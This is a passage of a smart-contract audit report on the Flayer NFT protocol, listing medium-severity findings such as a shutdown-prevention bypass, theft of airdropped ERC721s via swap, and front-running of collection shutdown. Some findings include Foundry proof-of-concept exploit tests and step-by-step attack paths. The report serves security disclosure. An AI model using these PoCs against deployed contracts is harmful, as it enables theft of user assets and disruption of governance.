@>      if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
...
    }
```

Above pointed check is a problem because it checks `beneficiaryIsPool` regardless of `_beneficiary` is current beneficiary or previous beneficiary.

As result, if current beneficiary is a pool but previous beneficiary was not, then previous beneficiary will not be able to withdraw the fees as above check will revert because `beneficiaryIsPool` represents the status of current beneficiary.

//How this works

1. Suppose the current beneficiaryA is not a pool ie beneficiaryIsPool = false & receives a fees of 100e18

2. Owner changed the beneficiary using `setBeneficiary()` to beneficiaryB, which is a pool ie beneficiaryIsPool = true
3. Natspecs of the `setBeneficiary()` clearly says previous beneficiary should claim their fees, but they will not be able to claim because now beneficiaryIsPool = true, which will revert the transaction

```
    /**
@>   * Allows our beneficiary address to be updated, changing the address that will
     * be allocated fees moving forward. The old beneficiary will still have access
     * to `claim` any fees that were generated whilst they were set.
     *
     * @param _beneficiary The new fee beneficiary
     * @param _isPool If the beneficiary is a Flayer pool
     */
    function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
        beneficiary = _beneficiary;
        beneficiaryIsPool = _isPool;

        // If we are setting the beneficiary to be a Flayer pool, then we want to
        // run some additional logic to confirm that this is a valid pool by
↪   checking
        // if we can match it to a corresponding {CollectionToken}.
        if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0))
↪   {
            revert BeneficiaryIsNotPool();
        }

        emit BeneficiaryUpdated(_beneficiary, _isPool);
    }
```

This issue is arising because beneficiaryIsPool is the status of the current beneficiary, but claim() can be used to claim fee by previous beneficiary also

Impact

Previous beneficiary will not be able to claim their fees

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L203C4-L223C6

Tool used

Manual Review

Recommendation

Remove the above check because if the beneficiary is a `pool` then their fees are store in a different mapping `_poolFee` not `beneficiaryFees`, which means any beneficiary which is a pool, will try to claim then it will revert as there `beneficiaryFee` will be 0(zero)

Issue M-2: Malicious user can bypass execution of `CollectionShutdown` function

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/113

Found by

BugPull

Summary

Malicious user bypasses `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` then `CollectionShutdown::reclaimVote` making the use of checks in `preventShutdown` useless.

Root Cause

In `preventShutdown` function there a check to make sure there isn't currently a shutdown in progress.

CollectionShutdown.sol#L420-L421

```
File: CollectionShutdown.sol
415:     function preventShutdown(address _collection, bool _prevent) public {
416:         // Make sure our user is a locker manager
417:         if (!locker.lockerManager().isManager(msg.sender)) revert
 ↪  ILocker.CallerIsNotManager();
418:
419:         // Make sure that there isn't currently a shutdown in progress
420:@>       if (_collectionParams[_collection].shutdownVotes != 0) revert
 ↪  ShutdownProcessAlreadyStarted();
421:
422:         // Update the shutdown to be prevented
423:         shutdownPrevented[_collection] = _prevent;
424:         emit CollectionShutdownPrevention(_collection, _prevent);
425:     }
```

This check doesn't confirm that the shutdown is in progress or not user can call `CollectionShutdown::start` to start a shutdown.
Then `CollectionShutdown::reclaimVote` to set shutdownVotes back to 0.

Calling `start` function indeed increas the votes by calling `_vote`
CollectionShutdown.sol#L156-L157

```
File: CollectionShutdown.sol
135:     function start(address _collection) public whenNotPaused {
//code
155:         // Cast our vote from the user
156:@>       _collectionParams[_collection] = _vote(_collection, params);
```

In `_votes` the count of shotdowVotes increase which is normal
CollectionShutdown.sol#L200-L201

```
File: CollectionShutdown.sol
191:     function _vote(address _collection, CollectionShutdownParams memory
↪  params) internal returns (CollectionShutdownParams memory) {
//code
199:         // Register the amount of votes sent as a whole, and store them
↪  against the user
200:@>       params.shutdownVotes += uint96(userVotes);
```

There is no prevention for the use initiated the shutdown from calling `reclaimVote`.
CollectionShutdown.sol#L369-L370

```
File: CollectionShutdown.sol
356:     function reclaimVote(address _collection) public whenNotPaused {
//code
368:         // We delete the votes that the user has attributed to the collection
369:@>       params.shutdownVotes -= uint96(userVotes);
```

This line resets back the shutdownVotes to 0
Making `CollectionShutdown::preventShutdown` checks useless.

Internal pre-conditions

- `lockerManager` calling `CollectionShutdown::preventShutdown`.

Attack Path 1

1. `lockerManager` calling CollectionShutdown::preventShutdown.
2. Malicious user front run the `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` and `CollectionShutdown::reclaimVote`.
3. `lockerManger` believe this collection is prevented from shutdown but its not.

Attack Path 2

1. Malicious user calling `CollectionShutdown::start` and `CollectionShutdown::reclaimVote`.

2. `lockerManager` calling CollectionShutdown::preventShutdown.
3. `lockerManger` believe this collection is prevented from shutdown but its not.

Impact

Bypass `preventShutdown` function making it useless.

Mitigation

- When doing a shutdown check for `quorumVotes` or check during `vote()` that the collection is prevented from shutdown.

Change the check in `preventShutdown`.

```
-         if (_collectionParams[_collection].shutdownVotes != 0) revert
 ↪  ShutdownProcessAlreadyStarted();
+         if (_collectionParams[_collection].quorumVotes != 0) revert
 ↪  ShutdownProcessAlreadyStarted();
```

Issue M-3: ERC721 Airdrop item can be redeemed/swapped out by user who is not an authorised claimant

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/124

Found by

h2134

Summary

ERC721 airdrop item can be redeemed/swapped out by user who is not an authorised claimant.

Vulnerability Detail

Locker contract owner calls requestAirdrop() to claim airdrop from external contracts. The airdropped items can be ERC20, ERC721, ERC1155 or Native ETH, and these items are only supposed to be claimed by authorised claimants.

Unfortunately, if the airdropped item is ERC721, a malicious user can bypass the restriction and claim the item by calling redeem() / swap(), despite they are not the authorised claimant.

Consider the following scenario:

1. A highly valuable ERC721 collection item is claimed by Locker contract in an airdrop;
2. Bob creates a collection in Locker contract against the this ERC721 collection;
3. Bob swaps the airdropped item by using a floor collection item;
4. By doing that, bob is able to claim the airdropped even if he is not the authorised claimant.

Please run the PoC in Locker.t.sol to verify:

```
function testAudit_RedeemAirdroppedItem() public {
    // Airdrop ERC721
    ERC721WithAirdrop erc721d = new ERC721WithAirdrop();

    // Owner requests to claim a highly valuable airdropped item
    locker.requestAirdrop(address(erc721d),
↪   abi.encodeWithSignature("claimAirdrop()"));
    assertEq(erc721d.ownerOf(888), address(locker));
```

```
    address bob = makeAddr("Bob");
    erc721d.mint(bob, 1);

    // Bob creates a Locker collection against the airdrop collection
    vm.prank(bob);
    address collectionToken = locker.createCollection(address(erc721d), "erc721d",
↪   "erc721d", 0);

    // Bob swaps out the airdropped item
    vm.startPrank(bob);
    erc721d.approve(address(locker), 1);
    locker.swap(address(erc721d), 1, 888);
    vm.stopPrank();

    // Bob owns the airdropped item despite he is not the authorised claimant
    assertEq(erc721d.ownerOf(888), address(bob));
}
```

Impact

An airdropped ERC721 item can be stolen by malicious user, the authorised claimant won't be able make a claim.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L198

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241

Tool used

Manual Review

Recommendation

Should not allow arbitrary user to redeem/swap the airdropped item.

Issue M-4: Admin can not set the pool fee since it is only set in memory

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/188

Found by

Ironsidesec, ZeroTrust, alexzoid, g, h2134, tvdung94, zarkk01

Summary

The pool fee is only set in memory and not in storage so specific pool fees will not apply.

Root Cause

The pool fee is only stored in memory.

ref: UniswapImplementation:setFee()

```
// @audit poolParams is only stored in memory so the new fee is not set in
↪  permanent storage
PoolParams memory poolParams = _poolParams[_poolId];
poolParams.poolFee = _fee;
```

Internal pre-conditions

1. Admin calls with any fee value.

External pre-conditions

None

Attack Path

None

Impact

Specific pool fees will not apply. Only the default fee will apply to swaps.

ref: UniswapImplementation::getFee()

```
// @audit poolFee will always be 0
uint24 poolFee = _poolParams[_poolId].poolFee;
if (poolFee != 0) {
    fee_ = poolFee;
}
```

PoC

No response

Mitigation

Use storage instead of memory for `poolParams` in .

Issue M-5: `ERC1155Bridgable` is not EIP-1155 compliant

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/202

The protocol has acknowledged this issue.

Found by

ComposableSecurity, Spearmint, kuprum

Summary

According to the README:

> The Bridged1155 should be strictly compliant with EIP-1155 and EIP-2981

EIP-1155 states the following about `ERC1155Metadata_URI` extension:

> The optional `ERC1155Metadata_URI` extension can be identified with the ERC-165 Standard Interface Detection.
>
> If the optional `ERC1155Metadata_URI` extension is included:
>
> - The ERC-165 `supportsInterface` function MUST return the constant value `true` if `0x0e89341c` is passed through the `interfaceID` argument.
> - Changes to the URI MUST emit the `URI` event if the change can be expressed with an event (i.e. it isn't dynamic/programmatic).

But we see that:

- `ERC1155Bridgable` *does support* the extension, and returns the required constant via supportsInterface
- It *does not emit* the `URI` event as required, when it's changed via function setTokenURIAndMintFromRiftAbove:

```
function setTokenURIAndMintFromRiftAbove(uint _id, uint _amount, string memory
↪  _uri, address _recipient) external {
    if (msg.sender != INFERNAL_RIFT_BELOW) {
        revert NotRiftBelow();
    }

    // Set our tokenURI
    uriForToken[_id] = _uri;

    // Mint the token to the specified recipient
```

```
    _mint(_recipient, _id, _amount, '');
}
```

Notice that when bridging the ERC-1155 tokens, URIs are retrieved from the corresponding token contract by `InternalRiftAbove`, and encoded into the package as follows:

```
// Go through each NFT, set its URI and escrow it
uris = new string[](numIds);
for (uint j; j < numIds; ++j) {
    // Ensure we have a valid amount passed (TODO: Is this needed?)
    tokenAmount = params.amountsToCross[i][j];
    if (tokenAmount == 0) {
        revert InvalidERC1155Amount();
    }

    uris[j] = erc1155.uri(params.idsToCross[i][j]);
    erc1155.safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j],
↪   params.amountsToCross[i][j], '');
}

// Set up payload
package[i] = Package({
    chainId: block.chainid,
    collectionAddress: collectionAddress,
    ids: params.idsToCross[i],
    amounts: params.amountsToCross[i],
    uris: uris,
    royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
    name: '',
    symbol: ''
});
```

I.e. the information is properly retrieved, transferred, and is available; but the `URI` event is not emitted as required; this breaks the specification.

Impact

Protocols integrating with `ERC1155Bridgable` may work incorrectly.

Mitigation

Compare the URI supplied for an NFT in function `setTokenURIAndMintFromRiftAbove`, and if it has changed -- emit the `URI` event as required per the specification.

Issue M-6: The unused tokens from the user's initialization of UniswapV4's pool will be locked in the UniswapImplementation contract.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/208

Found by

0x37, 0xHappy, 0xNilesh, 0xc0ffEE, 0xlucky, BADROBINX, BugPull, ComposableSecurity, Ironsidesec, KingNFT, Ollam, ZeroTrust, blockchain555, h2134, merlinboii, novaman33, shaflow01, wickie, zarkk01, zzykxx

Summary

The unused tokens from the user's initialization of UniswapV4's pool will be locked in the UniswapImplementation contract.

Vulnerability Detail

```
function initializeCollection(address _collection, uint _amount0, uint _amount1,
↪  uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
        // Ensure that only our {Locker} can call initialize
        if (msg.sender != address(locker)) revert CallerIsNotLocker();

        // Ensure that the PoolKey is not empty
        PoolKey memory poolKey = _poolKeys[_collection];
        if (poolKey.tickSpacing == 0) revert UnknownCollection();

        // Initialise our pool
        poolManager.initialize(poolKey, _sqrtPriceX96, '');

        // After our contract is initialized, we mark our pool as initialized and
↪  emit
        // our first state update to notify the UX of current prices, etc.
        PoolId id = poolKey.toId();
        _emitPoolStateUpdate(id);

        // Load our pool parameters and update the initialized flag
        PoolParams storage poolParams = _poolParams[id];
        poolParams.initialized = true;
```

```
        // Obtain the UV4 lock for the pool to pull in liquidity
@>>         poolManager.unlock(
             abi.encode(CallbackData({
                 poolKey: poolKey,
                 liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
                     sqrtPriceX96: _sqrtPriceX96,
                     sqrtPriceAX96: TICK_SQRT_PRICEAX96,
                     sqrtPriceBX96: TICK_SQRT_PRICEBX96,
                     amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
                     amount1: poolParams.currencyFlipped ? _amount0 : _amount1
                 }),
                 liquidityTokens: _amount1,
                 liquidityTokenSlippage: _amount1Slippage
             })
        ));
    }
```

This function calls UniswapV4's poolManager.unlock().

```
function unlock(bytes calldata data) external override returns (bytes memory
↪  result) {
        if (Lock.isUnlocked()) AlreadyUnlocked.selector.revertWith();

        Lock.unlock();

        // the caller does everything in this callback, including paying what they
↪  owe via calls to settle
@>>         result = IUnlockCallback(msg.sender).unlockCallback(data);

        if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
        Lock.lock();
    }
```

And in poolManager.unlock(), the unlockCallback() function of UniswapImplementation is called.

```
function _unlockCallback(bytes calldata _data) internal override returns (bytes
↪  memory) {
        // Unpack our passed data
        CallbackData memory params = abi.decode(_data, (CallbackData));

        // As this call should only come in when we are initializing our pool, we
        // don't need to worry about `take` calls, but only `settle` calls.
        (BalanceDelta delta,) = poolManager.modifyLiquidity({
            key: params.poolKey,
            params: IPoolManager.ModifyLiquidityParams({
                tickLower: MIN_USABLE_TICK,
                tickUpper: MAX_USABLE_TICK,
                liquidityDelta: int(uint(params.liquidityDelta)),
```

```
                salt: ''
            }),
            hookData: ''
        });

        // Check the native delta amounts that we need to transfer from the contract
@>>         if (delta.amount0() < 0) {
@>>             _pushTokens(params.poolKey.currency0, uint128(-delta.amount0()));
        }

        // Check our ERC20 donation
@>>         if (delta.amount1() < 0) {
@>>             _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
        }

        // If we have an expected amount of tokens being provided as liquidity,
↪   then we
        // need to ensure that this exact amount is sent. There may be some dust
↪   that is
        // lost during rounding and for this reason we need to set a small slippage
        // tolerance on the checked amount.
        if (params.liquidityTokens != 0) {
            uint128 deltaAbs = _poolParams[params.poolKey.toId()].currencyFlipped ?
↪   uint128(-delta.amount0()) : uint128(-delta.amount1());
            if (params.liquidityTokenSlippage < params.liquidityTokens - deltaAbs) {
                revert IncorrectTokenLiquidity(
                    deltaAbs,
                    params.liquidityTokenSlippage,
                    params.liquidityTokens
                );
            }
        }

        // We return our `BalanceDelta` response from the donate call
        return abi.encode(delta);
    }
```

In the above code, _pushTokens() transfers the required amounts of currency0 and currency1 (i.e., nativeToken and collectionToken) from the UniswapImplementation contract to the poolManager contract in UniswapV4.

```
function getLiquidityForAmounts(
        uint160 sqrtPriceX96,
        uint160 sqrtPriceAX96,
        uint160 sqrtPriceBX96,
        uint256 amount0,
        uint256 amount1
    ) internal pure returns (uint128 liquidity) {
        if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) =
↪   (sqrtPriceBX96, sqrtPriceAX96);
```

```
        if (sqrtPriceX96 <= sqrtPriceAX96) {
            liquidity = getLiquidityForAmount0(sqrtPriceAX96, sqrtPriceBX96,
↪   amount0);
        } else if (sqrtPriceX96 < sqrtPriceBX96) {
            uint128 liquidity0 = getLiquidityForAmount0(sqrtPriceX96,
↪   sqrtPriceBX96, amount0);
            uint128 liquidity1 = getLiquidityForAmount1(sqrtPriceAX96,
↪   sqrtPriceX96, amount1);

@>>             liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
        } else {
            liquidity = getLiquidityForAmount1(sqrtPriceAX96, sqrtPriceBX96,
↪   amount1);
        }
    }
```

From LiquidityAmounts.getLiquidityForAmounts() in UniswapV4, we can see that the amounts of currency0 and currency1 might not be fully utilized, and one of the tokens will always have a leftover amount. In the UniswapImplementation::_unlockCallback() function, there is no operation to return the leftover tokens to the msg.sender (i.e., the Locker). It only compares the leftover collectionToken with the liquidityTokenSlippage, and if the leftover collectionToken exceeds the liquidityTokenSlippage, the entire operation will revert.

This only ensures that the remaining amount of collectionToken is within the user's control. However, the leftover tokens (either nativeToken or collectionToken) will remain permanently locked in the UniswapImplementation contract.

Impact

The user loses the leftover tokens.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376

Tool used

Manual Review

Recommendation

Add handling for refunding the leftover tokens.

Issue M-7: `ERC721Bridgable` and `ERC1155Bridgable` are not EIP-2981 compliant, and fail to correctly collect or attribute royalties to artists

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/214

The protocol has acknowledged this issue.

Found by

Ruhum, h2134, kuprum, novaman33, rndquu, zzykxx

Summary

According to the README:

> The Bridged721 should be strictly compliant with EIP-721 and EIP-2981 The Bridged1155 should be strictly compliant with EIP-1155 and EIP-2981

EIP-2981 states the following:

> Marketplaces that support this standard MUST pay royalties no matter where the sale occurred or in what currency, including on-chain sales, over-the-counter (OTC) sales and off-chain sales such as at auction houses. As royalty payments are voluntary, entities that respect this EIP must pay no matter where the sale occurred - a sale conducted outside of the blockchain is still a sale.

The crux of the standard, is that if a contract is EIP-2981 compliant, the royalty *should be paid to the artist who created the NFT no matter where the sale occurred*. For that it first needs to be correctly *reported* to marketplaces, and *attributed* to the artist. It's worth noting that as returned by the EIP-2981 function `royaltyInfo`, **both the royalty recipient and the royalty amount are specific to each NFT**:

```
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns
↪  (address receiver, uint256 royaltyAmount);
```

The problem is that both `ERC721Bridgable` and `ERC1155Bridgable` completely violate this crucial property via **both setting a uniform royalty amount across all NFTs, and designating themselves as the royalty recipient**, thus reporting *wrong amounts*, and mixing them together in a *single bucket*. This makes it impossible to either correctly collect the appropriate royalty amounts, or to attribute the collected royalties to artists.

Root Cause

Both ERC721Bridgable and ERC1155Bridgable perform the following in their `initialize` function:

```
// Set this contract to receive marketplace royalty
_setDefaultRoyalty(address(this), _royaltyBps);
```

As per-NFT royalties are not set, this makes the contract a single recipient of the same `_royaltyBps` across all NFTs, as implemented by OZ's `ERC2981` contract. No matter what happens next, it's impossible to either correctly collect the appropriate royalty amounts at marketplaces, or to correctly attribute the royalties to different artists.

Impact

Definite loss of funds (NFT creators won't receive the appropriate royalties):

- Marketplaces who sell NFTs on L2s are not able to pay correct amounts of royalties
- Artists who created the NFTs in collections on L1, which are bridged to L2, are not able to track the amounts of royalties they have the right to receive (which effectively deprives them of said royalties)

Mitigation

Both for `ERC721Bridgable` and `ERC1155Bridgable` have to implement a system which:

- correctly reports per-NFT royalty amounts on L2 via `royaltyInfo`
- correctly collects the appropriate royalty amounts, and tracks the per-NFT recipients of said amounts on L1.

Notice: this finding concerns only with the absence of the correct tracking and reporting system as per EIP-2981. Royalty distribution system from L2 to L1 is out of scope of this finding.

Issue M-8: There is a logical error in the removeFeeExemption() function.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/219

Found by

0xc0ffEE, BugPull, Ironsidesec, NoOne, Tendency, ZeroTrust, alexzoid, cawfree, g, h2134, kuprum, stuart_the_minion, valuevalk, xKeywordx, zzykxx

Summary

There is a logical error in the removeFeeExemption() function, causing feeOverrides[_beneficiary] to never be removed.

Vulnerability Detail

```
   function removeFeeExemption(address _beneficiary) public onlyOwner {
        // Check that a beneficiary is currently enabled
@>>         uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
@>>         if (hasExemption != 1) {
             revert NoBeneficiaryExemption(_beneficiary);
        }

        delete feeOverrides[_beneficiary];
        emit BeneficiaryFeeRemoved(_beneficiary);
    }
```

Through setFeeExemption(), we know that the lower 24 bits of feeOverrides[_beneficiary] are set to 0xFFFFFF. Therefore, the expression uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF) results in 0xFFFFFF & 0xFFFFFF = 0xFFFFFF. As a result, hasExemption will never be 1, causing removeFeeExemption() to always revert. Consequently, feeOverrides[_beneficiary] will never be removed.

```
function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
        // Ensure that our custom fee conforms to Uniswap V4 requirements
        if (!_flatFee.isValid()) {
            revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
        }

        // We need to be able to detect if the zero value is a flat fee being
↪   applied to
        // the user, or it just hasn't been set. By packing the `1` in the latter
↪   `uint24`
```

```
        // we essentially get a boolean flag to show this.
@>>         feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
        emit BeneficiaryFeeSet(_beneficiary, _flatFee);
    }
```

Impact

Since feeOverrides[_beneficiary] cannot be removed, the user continues to receive reduced fee benefits, leading to partial fee losses for LPs and the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729

Tool used

Manual Review

Recommendation

```
   function removeFeeExemption(address _beneficiary) public onlyOwner {
        // Check that a beneficiary is currently enabled
        uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
-        if (hasExemption != 1) {
+        if (hasExemption != 0xFFFFFF) {
            revert NoBeneficiaryExemption(_beneficiary);
        }

        delete feeOverrides[_beneficiary];
        emit BeneficiaryFeeRemoved(_beneficiary);
    }
```

Issue M-9: It is possible to prevent the execution of the `execute()` function, listing only one NFT.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/244

Found by

Audinarey, Aymen0909, BugPull, BugsFinders0x, Ollam, Tendency, ZeroTrust

Summary

It Is possible for everyone to front-run the calls to the `execute()` function, by listing an NFT in the `Listings.sol` contract, right after the quorum is reached.

Root Cause

In the `CollectionShutdown.sol`, there is the possibility to start a voting system to delete a specific collection from the platform. The logic of the voting system is simple: There is a quorum to reach. After that, it is possible to call the `execute()` function that will delete the collection.

The function that will initialize this voting system is the `start()` function that is possible to check here .

Supposing that the Voting system for a collection starts, and the quorum is reached.

At this point, the Owner of the `CollectionShutdown.sol` contract, could call the `execute()` function to delete the collection from the platform, .

In the meantime, a malicious actor who doesn't want the collection will be deleted lists an NFT of the same collection, .

At this point, when the Owner of the `CollectionShutdown.sol` tries to call the `execute()` function, there is a call on the `_hasListing()` function to check if the collection is listed . The collection is listed, so the `execute` function will go in revert due to the previous check.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

There are 2 different users: User2, Hacker

1) Hacker creates and initializes Collection with 10 NFTs.
2) User2 owns the same NFTs (5 in total) and after some time, wants to start a voting system to delete the collection from the platform.
3) User2 calls `start()` in `CollectionShutdown.sol` and reaches the quorum to delete the collection.
4) Hacker has one more NFT, and lists it in `Listings.sol`
5) Owner of `CollectionShutdown.sol` calls the `execute()`
6) Reverts, due to the `_hasListing()` check, that attests that there is one token listed already.

Impact

Everyone can prevent the execution of the `execute()` function. This will make the voting system useless

PoC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {stdStorage, StdStorage, Test} from 'forge-std/Test.sol';
import {ProxyAdmin, ITransparentUpgradeableProxy} from
↪  "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {TransparentUpgradeableProxy} from
↪  "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CollectionToken} from "@flayer/CollectionToken.sol";
import {FlayerTest} from "../lib/FlayerTest.sol";
import {LockerManager} from "../../src/contracts/LockerManager.sol";
import {Locker} from "../../src/contracts/Locker.sol";
import {Listings} from "../../src/contracts/Listings.sol";
import {ProtectedListings} from "../../src/contracts/ProtectedListings.sol";
import {TaxCalculator} from "../../src/contracts/TaxCalculator.sol";
import {WETH9} from '../lib/WETH.sol';
import {ERC721Mock} from '../mocks/ERC721Mock.sol';
import {ERC721MyMock} from '../mocks/ERC721MyMock.sol';
import {UniswapImplementation} from
↪  '@flayer/implementation/UniswapImplementation.sol';
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {ICollectionToken} from "../../src/interfaces/ICollectionToken.sol";
import {Clones} from '@openzeppelin/contracts/proxy/Clones.sol';
```

```
import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
import {IPoolManager, PoolManager, Pool} from
↪  '@uniswap/v4-core/src/PoolManager.sol';
import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
import {CurrencyLibrary} from "../../lib/v4-core/src/types/Currency.sol";
import {LinearRangeCurve} from '@flayer/lib/LinearRangeCurve.sol';
import {CollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
import {ICollectionShutdown} from
↪  "../../src/interfaces/utils/ICollectionShutdown.sol";
import {IListings} from "../../src/interfaces/IListings.sol";
import "forge-std/console.sol";


contract CollectionTokenProxyTest is Test {

    using PoolIdLibrary for PoolKey;

    address RANGE_CURVE;
    address payable PAIR_FACTORY =
↪  payable(0xA020d57aB0448Ef74115c112D18a9C231CC86000);
    address payable internal _proxy;
    ProxyAdmin internal _proxyAdmin;

    CollectionToken internal _collectionTokenV1Impl;
    CollectionToken internal _collectionTokenV1;
    TransparentUpgradeableProxy _collectionTokenV1Proxy;

    LockerManager lockerManager;
    Locker locker;
    Listings listings;
    ProtectedListings protListings;
    TaxCalculator calculator;
    WETH9 WETH;
    ERC721Mock erc721a;
    ERC721MyMock erc721MyA;
    PoolManager poolManager;
    UniswapImplementation uniswapImplementation;
    CollectionShutdown collectionShutdown;
    address payable public constant VALID_LOCKER_ADDRESS =
↪  payable(0x57D88D547641a626eC40242196F69754b25D2FCC);



    // Address that interacts
    address owner;
    address user1;
    address user2;
    address hacker;
```

```
    function setUp() public {
        owner = vm.addr(4);
        user1 = vm.addr(1);
        user2 = vm.addr(2);
        hacker = vm.addr(4);

        vm.deal(owner, 1000 ether);
        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);
        vm.deal(hacker, 1000 ether);


        //Deploy Contracts
        deployAllContracts();

        vm.prank(user1);
        WETH.deposit{value: 100 ether}();

        vm.prank(user2);
        WETH.deposit{value: 100 ether}();

        vm.prank(hacker);
        WETH.deposit{value: 100 ether}();

    }
    // ================= Listings.sol =====================


    function test_ListBeforeExecute()public{

        // Hacker creates a collection.
        vm.startPrank(hacker);

        address newCollectionToken = locker.createCollection(address(erc721a),
↪   "Mock", "MOCK", 0);

        uint256[] memory path = new uint256[](10);

        // Hacker approves 10 tokens to the locker contract to initialize the
↪   collection.
        for(uint i = 0; i < 10; i++){
            path[i] = i;
            erc721a.approve(address(locker), i);
        }

        WETH.approve(address(locker), 10 ether);


        // Hacker initialize the collection and send to locker 10 ERC721a. Hacker
↪   owns only one more out of the platform.
```

```
        locker.initializeCollection(address(erc721a), 1 ether, path, path.length *
↪  1 ether, 158456325028528675187087900672);
        vm.stopPrank();




        // To call the start() function, user2 must deposit first to get
↪  collectionTokens to vote.
        vm.startPrank(user2);

        // Approve TOKEN IDS To locker contract
        uint[] memory path2 = new uint[](10);

        uint iterations = 0;

        for(uint i = 11; i < 21; i++){
            erc721a.approve(address(locker), i);
            path2[iterations] = i;
            iterations++;
        }


        // User2 deposit and get collectionTokens in ratio 1:1
        locker.deposit(address(erc721a), path2);

        console.log("User2 CollectionToken Balance, BEFORE start a votation",
↪  CollectionToken(newCollectionToken).balanceOf(user2));



        // User2 approves CollectionTokens to the collectionShutdown contract to
↪  start a vote.
        CollectionToken(newCollectionToken).approve(address(collectionShutdown),
↪  CollectionToken(newCollectionToken).balanceOf(user2));


        // User2 calls the start() function
        collectionShutdown.start(address(erc721a));


        console.log("User2 CollectionToken Balance, AFTER start a votation",
↪  CollectionToken(newCollectionToken).balanceOf(user2));
        console.log("");



        // Check Params to calls execute() function.
```

```
        ICollectionShutdown.CollectionShutdownParams memory params =
↪   collectionShutdown.collectionParams(address(erc721a));

        console.log("shutdownVotes", params.shutdownVotes);
        console.log("quorumVotes", params.quorumVotes);
        console.log("canExecute", params.canExecute);
        console.log("availableClaim", params.availableClaim);

        vm.stopPrank();




        // Hacker sees that the quorum is reached, and decide to deposit the other
↪   token that he owns, and list it.
        vm.startPrank(hacker);

        // Approves token ID 10, to listing contract
        erc721a.approve(address(listings), 10);
        uint[] memory path3 = new uint[](1);
        path3[0] = 10;



        // Listings Paramenter
        IListings.Listing memory newListingsBaseParameter =
↪   listings.listings(address(erc721a), 10);
        newListingsBaseParameter.owner = payable(hacker);
        newListingsBaseParameter.duration = uint32(5 days);
        newListingsBaseParameter.created = uint40(block.timestamp);
        newListingsBaseParameter.floorMultiple = 10_00;


        // Listings Paramenter
        IListings.CreateListing memory listingsParams;
        listingsParams.collection = address(erc721a);
        listingsParams.tokenIds = path3;
        listingsParams.listing = newListingsBaseParameter;

        // Listings Paramenter
        IListings.CreateListing[] memory listingsParamsCorrect = new
↪   IListings.CreateListing[](1);
        listingsParamsCorrect[0] = listingsParams;


        // Hacker creates a Listing for the collection erc721a
        listings.createListings(listingsParamsCorrect);
        vm.stopPrank();
```

```
        //Delete collection is impossible, due to hasListing error.
        vm.prank(owner);
        vm.expectRevert();
        collectionShutdown.execute(address(erc721a), path);
    }


    function deployAllContracts()internal{


        // Deploy Collection Token
        vm.startPrank(owner);

        _proxyAdmin = new ProxyAdmin();

        bytes memory data =
↪   abi.encodeWithSignature("initialize(string,string,uint256)", "TokenName",
↪   "TKN", 10);

        _collectionTokenV1Impl = new CollectionToken();
        _collectionTokenV1Proxy = new TransparentUpgradeableProxy(
            address(_collectionTokenV1Impl),
            address(_proxyAdmin),
            data
        );

        _collectionTokenV1 = CollectionToken(address(_collectionTokenV1Proxy));
        assertEq(_collectionTokenV1.name(), "TokenName");


        // Deploy LockerManager
        lockerManager = new LockerManager();

        // Deploy Locker
        locker = new Locker(address(_collectionTokenV1Impl),
↪   address(lockerManager));

        // Deploy Listings
        listings = new Listings(locker);

        // Deploy ProtectedListings
        protListings = new ProtectedListings(locker, address(listings));


